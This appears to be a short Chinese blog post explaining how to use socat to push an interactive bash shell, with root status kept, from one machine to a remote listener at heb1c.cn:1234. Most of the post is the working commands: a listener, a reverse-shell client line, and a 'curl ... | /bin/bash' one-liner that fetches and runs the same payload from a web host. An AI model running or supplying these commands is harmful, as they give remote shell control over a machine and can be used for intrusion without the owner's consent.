通过使用socat, 给远端弹一个shell, 在远端实现远程控制
使用方式
服务端
1
socat file:`tty`,raw,echo=0 tcp-listen:1234
在服务端运行这个命令,开启socat-server,监听1234端口
客户端
1
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:heb1c.cn:1234
与服务端对应,配置相应的host与port即可将当前shell远程给服务端。
ps: 服务端获取到的shell和本地完全一致,包括root状态。
可以将命令放到web服务,通过自己配置的链接使用服务,如
1
curl -L heb1c.cn/socat | /bin/bash
通过以上命令等同于客户端的命令
原创作品,转载请注明来源 https://hebicheng.github.io